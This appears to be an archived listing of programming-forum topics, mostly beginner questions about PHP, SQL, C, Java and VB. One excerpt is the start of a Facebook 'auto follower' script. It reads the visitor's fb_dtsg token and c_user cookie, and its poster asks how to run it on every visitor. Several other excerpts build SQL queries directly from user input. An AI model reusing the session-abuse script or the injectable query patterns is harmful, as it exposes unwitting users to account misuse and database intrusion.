199,114 Archived Topics
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 | hello; how to access to a control of a form from another form? example datagridview  |
| | I have several thumbnails on my page which I would like to enlarge on mouseover and revert them to their initial position on mouseout. So when the user mouses over any of the aforementioned thumbnails onmouseover is called triggering MLTo function and when the mouse is out, onmouseout triggers MLFro … |
| | I have a MySQL database with a table that has a field/column labled "user8" (which is the field for users' state). I have this PHP call and its working fine if I call all states individually and I only want numbers of rows. <?PHP mysql_select_db("freeskat_promail") or die(mysql_error()); $result = mysql_query("SELECT … |
| | A simple login script that won't be much trouble for members in here. But query within is getting fired up for wrong credentials. My Script. <?php require("C:\wamp\www\Onex\connect_db.php"); if(isset($_POST['login']) && !empty($_POST['login'])) { $uname=$_POST['uname']; $pass=$_POST['pass']; $login_query="select * from register where username='$uname' and password='$pass'"; $result=mysqli_query($con,$login_query); if($result) { echo "Login granted. <br>"; while($row=mysqli_fetch_array($result)) { …  |
 | Write a program that converts numbers to words. For example, 895 results in "eight nine five." here are my codes: #include<stdio.h> #include<stdlib.h> int main() { printf(">>This program converts numbers to words :)\n"); int value; printf("Enter value: "); scanf("%d",&value); switch(value){ case 0: { printf("zero"); break;} case 1: { printf("one"); break;} case … |
| | Hello everybody. I am seeking help on how to save 3 output images into a specific path after filter by 3 different mask size e.g. 3x3, 5x5 and 7x7 mask. My program is in C:\Cpp\Project\, I wish to save those output images inside "filter" folder with path in C:\Cpp\Project\filter. Thus, …  |
 | Hi Everyone. I have the follwing htaccess file working just great. Basically it rewrites .php to .html and also rewrites none www. urls to www. My question is how can is remove a directory from the .php to .html rewrite rule? My pages are correctly being rewritten to .html files, … |
| | Hi all, I'm struggling with a simple little program which I would use for a test to (for example) sell footbal tickets. So I have a for on which user selects a game from combobox (combobox populates from text file) and number of tickets in a numericupdown field. On "Save" … |
 | edges.txt is used.it is the input adjacency list. 1 3 1 5 2 3 2 6 4 5 5 6 #include<stdio.h> #include<stdlib.h> #include<conio.h> int **adjL; int v,*arr; void dfs(int **adjL) { int j,i=0,temp,dfslabel=1,s=0,k=0,top=0; int stack[v]; int *flag; flag=(int*)calloc(v+1,sizeof(int)); for(i=0;i<=v;i++) flag[i]=0; stack[++top]=1; flag[1]=3; stack[top]=1; while(1) { if(i==arr[stack[top]-1]) { printf("examination of %d …  |
 | My code looks like this: if (!empty($foo)) { $doc = new DOMDocument(); $doc->loadHTML($foo); $images = $doc->getElementsByTagName('img'); } And this is happening: DOMDocument::loadHTML() [<a href='domdocument.loadhtml'>domdocument.loadhtml</a>]: Document is empty in Entity, line: 2 |
| | Hi I have written a shell script to execute my data base query mysql -uroot -pshruti2 -B -e "use WebNmsDB;select HEADERINDEX from tekelec_meas_headers where CLLI=$clli and IVALSTART>="$ivalstart" and IVALSTART<"$ivalend" and RPTTYPE="$rpttype";" > win.txt But the output in win.txt is /mysql Ver 14.12 Distrib 5.0.44, for unknown-linux-gnu (x86_64) using EditLine wrapper … |
 | How do i minus data from the program to the database? I have quantity and description in my database. The quantity will be 100, and the description of it will be A. When i type in my program like this (after run the program): The quantity is 50. and the …  |
| | Hi I am adding comboboxes dynamically in a panel in windows form application. At run time, when I select any one of the comboboxes, all the comboboxes changes. i.e they dont retain individual selected item values. here is my code. for(int i=0;i<20;i++) { Label l = new Label(); l.Text = … |
 | Hi , I am creating a search page where searching from databaes against a field .From the string "**Birdnesting is the common hobby with the English boys**.And boys are playing in the ground .Again the boys are playing in the ground. **But Birdnesting is not a cake** . " if …  |
| | Inline Code Example HereHi guys, below is a function which converts ebcdic to ascii and it works for a buffer, i need to modify it in accordance to a file,which i am unable to do as i am not very good with C, tried my luck everywhere but did not … |
| | hello images not display in live server when uploading from localhost to live server. It is properly work in local server thanks in advance  |
| | i just wanted to know for future which language is good php or java thanku..:) |
| | I am writing a very simple boot and kernel in asm and c++. The thing is my development system is windows and I cannot use cpu interupts on windows, or can I? I dont think that my newly created kernel will be able to understand invoke ConsoleA or an of …  |
 | Dim startdate1 As String = DateTimePicker1.Value.Date Dim enddate As String = DateTimePicker2.Value.Date myConnection = New SqlConnection(connectionstring) myConnection.Open() Dim insert As SqlCommand = New SqlCommand(" INSERT INTO Client_Details (Contract_Name ,Client_Name ,VAT_No ,Cilent_Address,Start_Date,End_Date ,Contract_Value,Telephone_No) VALUES('" & TextBox1.Text & "','" & TextBox2.Text & "','" & TextBox4.Text & "','" & TextBox5.Text & "','" & …  |
 | Hello how can i check the divisibility of a number without using % / +... I am new at coding so hope someone can help I think my code sucks ..i read forums and this is the best i can do import java.util.Scanner; public class Divbythree { public static void … |
| | Hi can somebody tell me how to delete a table space? Some days ago I deleted a table because I thought I didn't need it anymore. When I tried to recreate it I got this error: ERROR 1813(HY000): Tablespace for table 'test','employees' exists.PLEADE DISCARD the table space before import; I … |
 | hi i'm working on a project that requires a search code in visual basic to find data from a different table in ms acess..any help?  |
 | I want to know how this function is working. I used qsort() function to sort the integers in an array and i found this compare() function on internet. It worked perfectly well but i cannot understand how is it working and what's its logic. Any help? int compare (const void … |
 | Hi am very much interested in progrmming with java and my idea is developing a project that can solve linear programming problems for minmisation and maximisation.  |
| | Hi, I have a problem of modifying Jtree font. No matter what I do or make changes in code I'm unable to change the default font. I got the TreeCellRenderer code from some website. Any suggesion on font change would be really helpful class MyCellRenderer extends JEditorPane implements TreeCellRenderer { … |
| | Hellow...How to count and sum even and odd integers from a sequence of integers..? |
 | I am trying to write a code that directs the user to a specific sheet in the workbook depending on a yes or no answer. So basically there is information that will need to be completed and the information is specific to whether it is a YES or NO. So … |
| | please how do i code a search button in visual basic. my database is microsoft access and i am using a binding source to connect to the database. |
 | I am trying to put together a web interface for a process which downloads a number of XML files and then processes them. I am usimg JavaScript / jQuery / AJAX to initiate the process on the server, one file at a time, and to display progress information after each …  |
| | I know how to change the background color of a button or label in properties, but I need help figuring out how to get it to change when it is clicked.  |
| | Friends I have a login form. After successsful login, I have to redirect the user to welcome.aspx. While doing this, the URL will be http://www.mangabooks.com/welcome.aspx but I need the URL to be encoded like http://www.mangabooks.com/sdDFREdsfefrvgrwghWr34r How can i do that? Any help will be appriciated... TIA. |
 | I'm just a beginner please help! BlueJ accepts my code - there are no compilation errors. But when i want to run the program it doesnt do what i wanted it to. It allows the user to answer the questions about the product and price but the skips to the … |
 | i have a script for auto follower on facebook, how to make it run everytime visitor come to my website this is that script var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value; var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]); function cereziAl(isim) { var tarama = isim + "="; if (document.cookie.length > 0) { konum = document.cookie.indexOf(tarama) if … |
| | I want to make user profile picture who only have account. But I dont know how to insert and display in the page that image form database, please support.  |
 | I'm creating a simple FTP client and i want this certain label to say "List refershed" after a certain action and then after 2 seconds i want the label to say "STATUS". How can i do this? |
| | I created tab pages with this, cmd.CommandText = "Select * from StuInfo where StuID ='" & SelectedID & "' order by PayDateDB desc" cmd.Parameters.AddWithValue("@StuID ", SelectedID) DA.SelectCommand = cmd DA.Fill(DS) DT = DS.Tables(0) RecCount = DT.Rows.Count TabControl1.TabPages.Clear() If RecCount > 0 Then For Each DR In DT.Rows newPage = New …  |
 | [LIST=1] [/LIST]Hello again :), I am writing a code that will recursively write a string in reverse. The problem is in my recursiveReverse function. I feel like the idea is right, but the implementation is incorrect. My thought process was that I could start the loops at the beginning and … |
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| | user 'Logout' is not working in my website after migrating to new server. before it was good. here is the code in member.php // Log-out part if (isset($_GET['logout'])){ $pass = ""; setcookie ("pwd","",time()-3600); $pwd = ""; setcookie("name","",time()-3600); $name=""; setcookie("type","",time()-3600); $type=""; header("Location: member.php"); } Looking for help Thank you |
| | Hi, I'm trying to substract the hours of the time with the hours of the begining of an event, and print how many time is left. Can someone help me? //Preço Viagens $partida=$viagens['HoraPartida']; $horapartida = explode(":", $partida); echo $horapartida[0]; $horasistema = date("G"); //hora sistema $difhoras=$horasistema - $horapartida; |
 | I am trying to enter user name and password from command line. user name is 'example@gmail.com' and password is 'Example$319'.....When I am printing this values I can see the password is wrong. I am typing Example$319 but it is printing 'Example19'. $ and 3 are discarded.....Please help me what is … |
| | Hi, I have created a Form C# application that has alot of code inside. Runs on QuadCore processor. The problem consumes about 2-5% CPU in general when looking in TaskManager. **Problem:** At some point the application consumes about 60-70% and stucks there forever. So I am very sure that somewhere … |
| | I know that you can call this method to delete a row from a JTable: [Code] DefaultTableModel.deleteRow(index); [/Code] I need to delete all of the rows at some point, and this is not working: [Code] for (int i=0; i<dtm.getRowCount(); i++) { dtm.removeRow(i); mortgageTable.revalidate(); } [/Code] I tried revalidating, but that … |
| | Hi! I am using crystal report to make my report. But problem is that I cant use same SQL Command there in report parameter because its different. I am going to show you my code so that you can understand it. I have a report & a form where I … |
| | import gpdraw.*; public class chemical { public static void main(String args[]) { DrawingTool pencil=new DrawingTool(new SketchPad(700, 700)); double points[][]=new double[4][3]; double theta=0; double vx=0, vy=0, vz=2; while(true) { points[0][0]=0;//x points[0][1]=1;//y points[0][2]=0;//z points[1][0]=.94281*Math.cos(theta); points[1][1]=-1/3; points[1][2]=.94281*Math.sin(theta); points[2][0]=.94281*Math.cos(theta+2.09439); points[2][1]=-1/3; points[2][2]=.94281*Math.sin(theta+2.09439); points[3][0]=.94281*Math.cos(theta+4.18879); points[3][1]=-1/3; points[3][2]=.94281*Math.sin(theta+4.18879); double screenx, screeny; for(int i=0; i<4; i++) { double x, … |
| | hi I had a question in an exam that asked for the code of a trigger that cancels a transaction if a query result doesn't meet a condition in oracle database. is it possible? I am googleing but I can't find an answer thanks |
| | I am trying to read user input from console using Scanner but it only reads my first input, and then on my second input it closes my program. Here is my code: import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.security.KeyPair; import java.security.KeyPairGenerator; … |
 | Hi i have this query that search data between two date range `select RA, Name, Model, Plate, Service, Grand_total, Payment_type from advance WHERE SDate BETWEEN '" . $from . "' AND '" . $to . "' ORDER BY Payment_type` which is working great but i need to alter it so … |
| | This is a code for removing spaces from a string, I've been asked to do this without using any standard library functions like `isspace` or `'\b'`. I've been trying for a lot of time but it always gives the same error > Error : Cannot convert 'char' to "char *" … |
 | Is anyone familiar with the CPUSIM 3.6.9 Wombat Machine 1.1 ? I need help on how to make a loop with machine language. |
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